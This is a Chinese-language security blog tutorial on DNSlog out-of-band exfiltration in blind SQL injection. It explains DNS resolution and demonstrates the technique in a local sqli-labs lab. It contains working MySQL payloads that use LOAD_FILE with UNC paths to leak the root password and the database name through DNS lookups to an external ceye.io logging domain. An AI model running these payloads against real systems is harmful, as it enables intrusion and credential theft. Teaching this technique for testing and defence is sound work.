admin

SQL注入——DNSlog
前言在某些SQL注入或者命令执行漏洞中无法获得回显,但是目标可以发送DNS请求这时就可以利用DNSlog来查看注入...
扫描右侧二维码阅读全文
06
2018/05

SQL注入——DNSlog

前言

在某些SQL注入或者命令执行漏洞中无法获得回显,但是目标可以发送DNS请求这时就可以利用DNSlog来查看注入或者命令执行的结果

DNS查询流程

2018-05-1925882866

流程:

  1. 用户向本地DNS服务器查询 test.example.com 的ip地址
  2. 本地DNS服务器向根域名DNS服务发送请求
  3. 根域名DNS服务器返回给本地DNS服务器 NS服务器的地址
  4. 本地DNS服务器向NS服务器查询
    5.NS服务器返回本地DNS服务器test.example.com的ip地址(NS服务器日志中会记录查询的内容)
  5. 本地DNS服务器返回给用户 test.example.com 的ip地址

在DNS查询中可以控制的变量:

  1. 查询的域名
  2. 域名的NS记录
  3. NS记录指向的服务器

只要我们有一个域名以及一个有DNS server的服务器只要修改域名的NS记录并指向DNS Server服务器即可在服务器中查看dns查询的日志
使用场景:

  1. SQL注入中的盲注
  2. 无回显的命令执行
  3. 无回显的SSRF

Mysql中的利用

我们可以在自己域名配置ns以及DNS Server,这里就不进行搭建了,因为Test404 Team 提供了一个平台供我们使用 http://ceye.io 没有账号的自行注册即可
2018-05-1123637423

利用的前提是此注入点有load_file的权限

payload:SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.qu1tuw.ceye.io\\abc'));
在payload中concat语句中最后拼接成完整的内容为
\\root用户的密码.mysql.qu1tuw.ceye.ip\abc
即是所谓的UNC路径 具体大家可以看百度百科的介绍
为了防止Windows下的字符转义所以需要第一部分的 "\\\\"

注意:因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

在sqli-labs中的实战

payloads: http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20if((select%20load_file(concat(%27\\\\%27,(select%20database()),%27mysql.qu1tuw.ceye.io\\abc%27))),1,1)--+

执行后打开ceye平台中的Records——>DNS Query可以看到在name一列中出现了mysql的版本号
2018-05-3224147298

参考:
https://www.anquanke.com/post/id/98096
https://ricterz.me/posts/%E7%AC%94%E8%AE%B0%3A%20Data%20Retrieval%20over%20DNS%20in%20SQL%20Injection%20Attacks

Last modification:January 26th, 2019 at 05:40 pm
If you think my article is useful to you, please feel free to appreciate

Leave a Comment